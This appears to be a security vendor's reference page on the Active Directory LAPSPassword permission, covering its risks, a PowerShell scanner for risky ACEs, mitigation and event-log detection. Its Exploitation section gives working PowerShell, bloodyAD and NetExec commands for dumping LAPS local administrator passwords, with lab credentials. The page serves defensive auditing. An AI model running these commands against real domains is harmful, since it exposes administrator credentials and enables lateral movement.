LAPSPassword

Summary

FSProtect ACL Alias

LAPSPassword

AD Alias

No alias.

Affected Object Types

Computers

Exploitation Certainty

Certain

AD Attribute

ms-Mcs-AdmPwd

AD Right

Extended Right

Description

The LAPSPassword permission grants the authority to read local administrator passwords managed by the Local Administrator Password Solution (LAPS) in Active Directory. This permission enables system administrators to securely retrieve and manage the local administrator password of each computer. LAPS ensures that unique and complex passwords are generated for each computer, allowing passwords to be rotated automatically on a regular schedule. The LAPSPassword permission facilitates support and management processes by ensuring that these passwords are accessible when needed.

However, when this permission is misconfigured, it creates serious security vulnerabilities. A threat actor with the LAPSPassword permission extracts the credentials of local administrator accounts on target machines. Since these credentials are typically configured with extensive privileges, they are used by the attacker to infiltrate the corporate network, gain access to critical infrastructure, and carry out malicious activities. Additionally, this permission allows an attacker to maintain persistent access to systems and move laterally within the network using standard lateral-movement techniques.

Identification

You can identify LAPSPassword in the domain with this script

1. Find-LAPSPassword function

function Find-LAPSPassword {
   
    [CmdletBinding()]
    param (    [string]$SearchBase = $null,[string]$OutputPath = "LAPSPassword.csv")
    # Load ActiveDirectory module if not already loaded
    Import-Module ActiveDirectory
    Write-Host "Gathering Active Directory computer objects and inspecting ACLs for explicit LAPS password read permissions..."
    # Access Control Type of Access Control Entry (Allow)
    $AccessControlType = [System.Security.AccessControl.AccessControlType]::Allow;
    # Active Directory Rights of Access Control Entry (ExtendedRight is used for specific GUIDs)
    $ActiveDirectoryRights = [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight;
    $LAPSPasswordPermissionGuid = $null
    try {
        $RootDSE = [ADSI]"LDAP://RootDSE"
        $SchemaNamingContext = $RootDSE.schemaNamingContext
        $msMcsAdmPwdAttr = [ADSI]"LDAP://CN=ms-Mcs-AdmPwd,$SchemaNamingContext"
        $LAPSPasswordPermissionGuid = New-Object System.Guid($msMcsAdmPwdAttr.schemaIDGUID)
        if ($LAPSPasswordPermissionGuid -eq '00000000-0000-0000-0000-000000000000'){
            Throw "ms-Mcs-AdmPwd attribute cannot be found. Ensure LAPS is successfully installed and schema is extended."
        }
        Write-Host "Successfully retrieved LAPS password attribute GUID: '$LAPSPasswordPermissionGuid'."
    }
    catch {
        Write-Error "Failed to retrieve LAPS password attribute GUID. $($_.Exception.Message)"
        Write-Error "Cannot proceed. Please ensure LAPS is installed and the schema is extended, and you have permissions to read the schema."
        return
    }
    $adComputerParams = @{
        Filter    = "*"
        Properties = "nTSecurityDescriptor"
        ErrorAction = "Stop"
    }
    if ($SearchBase) {
        $adComputerParams.Add("SearchBase", $SearchBase)
        Write-Host "Searching for computer objects within '$SearchBase'."
    } else {
        Write-Host "Searching for all computer objects in the domain."
    }
    $foundAcls = @()
    try {
        $objectsToScan = Get-ADComputer @adComputerParams
        if (-not $objectsToScan) {
            Write-Output "No Active Directory computer objects found matching the criteria."
            return
        }
        foreach ($obj in $objectsToScan) {
            $ComputerDistinguishedName = $obj.DistinguishedName;
            try {
                $acl = Get-Acl -Path "AD:$ComputerDistinguishedName"
                foreach ($ace in $acl.Access) {
                    if ($ace.AccessControlType -eq $AccessControlType -and
                        ($ace.ActiveDirectoryRights -band $ActiveDirectoryRights) -and # Use -band for bitwise comparison
                        ($ace.ObjectType -eq $LAPSPasswordPermissionGuid)) {
                        $foundAcls += [PSCustomObject]@{
                            'Vulnerable Computer' = $ComputerDistinguishedName
                            'Internal Threat'     = $ace.IdentityReference.Value
                        }
                    }
                }
            }
            catch {
                Write-Warning "Could not retrieve ACL for '$ComputerDistinguishedName': $($_.Exception.Message)"}
        }
    }
    catch {
        Write-Error "Failed to retrieve Active Directory computer objects: $($_.Exception.Message)"
        return
    }

    # Export the results to CSV if any were found
    if ($foundAcls.Count -gt 0) {
        Write-Host "Found $($foundAcls.Count) Active Directory computer object(s) with explicit LAPS password read permissions (excluding default admin groups and built-in accounts)."
        try {
            # Filter out duplicate entries before exporting based on both columns
            $foundAcls | Sort-Object -Unique 'Vulnerable Computer', 'Internal Threat' | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
            Write-Output "Results exported successfully to '$OutputPath'"
        }
        catch {
            Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)"
        }
    } else {
        Write-Output "No Active Directory computer objects found with explicit LAPS password read permissions (excluding default admin groups and built-in accounts)."
    }
}

2. Scan all domain Computers

Find-LAPSPassword

3. Using SearchBase to limit the search scope

Find-LAPSPassword -SearchBase 'OU=workstations,DC=forestall,DC=Labs'

Exploitation

This vulnerability can be exploited on Windows systems with PowerShell, while on Linux systems, tools such as BloodyAD can be used for exploitation.

Windows

An attacker can perform the LAPSPassword attack with this cmdlets on windows.

With Get-ADComputer

Get-ADComputer -Identity '<Vulnerable Computer>' -Properties ms-Mcs-AdmPwd| Select-Object Name, @{Name="ms-Mcs-AdmPwd";Expression={$_.Item("ms-Mcs-AdmPwd")}} | Format-List

Example:

Get-ADComputer -Identity 'VM01$' -Properties ms-Mcs-AdmPwd| Select-Object Name, @{Name="ms-Mcs-AdmPwd";Expression={$_.Item("ms-Mcs-AdmPwd")}} | Format-List

With Get-AdmPwdPassword (AdmPwd.PS should be installed AdmPwd.PS)

Get-AdmPwdPassword -ComputerName '<Vulnerable Computer>'

Example:

Get-AdmPwdPassword -ComputerName 'VM01' 

Linux

Using BloodyAD to read the LAPS Password

To scan the domain and retrieve all accessible passwords

bloodyAD --host "<DC IP>" -d "<Domain FQDN>" -u "<Username>" -p '<Password>' get search --filter '(ms-Mcs-AdmPwd=*)' --attr ms-Mcs-AdmPwd

Example:

bloodyAD --host dc01.forestall.labs -d forestall.labs -u adam -p 'Temp123!' get search --filter '(ms-Mcs-AdmPwd=*)' --attr ms-Mcs-AdmPwd

To retrieve passwords from a specific computer

bloodyAD --host "<DC IP>" -d "<Domain FQDN>" -u "<Username>" -p '<Password>' get object '<Vulnerable Computer>' --attr ms-Mcs-AdmPwd

Example:

bloodyAD --host dc01.forestall.labs -d forestall.labs -u adam -p 'Temp123!' get object 'vm01$' --attr ms-Mcs-AdmPwd

Using NetExec

nxc ldap <dcip> -u <user> -p '<pass>' -M laps

Example:

nxc ldap dc01.forestall.labs -u adam -p 'Temp123!' -M laps

Mitigation

Risky Access Control Entries should be removed by following the steps below.

1. Identify accounts allowed to read

(Find-AdmPwdExtendedRights -Identity Workstations).ExtendedRightHolders

2. Write below script (or copy/paste)

# Load ActiveDirectory module
Import-Module ActiveDirectory

# Parameters
$OU = "OU=Workstations,DC=forestall,DC=labs"
$User = "FORESTALL\adam"

# Get the DirectoryEntry object for the OU
$ouEntry = [ADSI]"LDAP://$OU"

# Translate user name to NTAccount SID
$ntAccount = New-Object System.Security.Principal.NTAccount($User)
$sid = $ntAccount.Translate([System.Security.Principal.SecurityIdentifier])

# Get current security descriptor
$securityDescriptor = $ouEntry.ObjectSecurity

# Get all access rules for the user
$accessRules = $securityDescriptor.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])
$rulesToRemove = $accessRules | Where-Object { $_.IdentityReference -eq $sid -and $_.ActiveDirectoryRights -match "ExtendedRight|ReadProperty|WriteProperty" }

# Remove matching ACEsimage-5
foreach ($rule in $rulesToRemove) {
    $securityDescriptor.RemoveAccessRule($rule) | Out-Null
}
# Commit changes
$ouEntry.ObjectSecurity = $securityDescriptor
$ouEntry.CommitChanges()
Write-Host "[+] Removed LAPS extended rights for $User from $OU"

Detection

Adding new Access Control Entries to Active Directory objects changes the ntSecurityDescriptor attribute of the objects. These changes can be detected with Event IDs 5136 and 4662 to identify dangerous modifications.

Event ID
Description
Fields/Attributes
References

5136

A directory service object was modified.

ntSecurityDescriptor

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136

4662

An operation was performed on an object.

AccessList, AccessMask

https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662

References

Last updated

Was this helpful?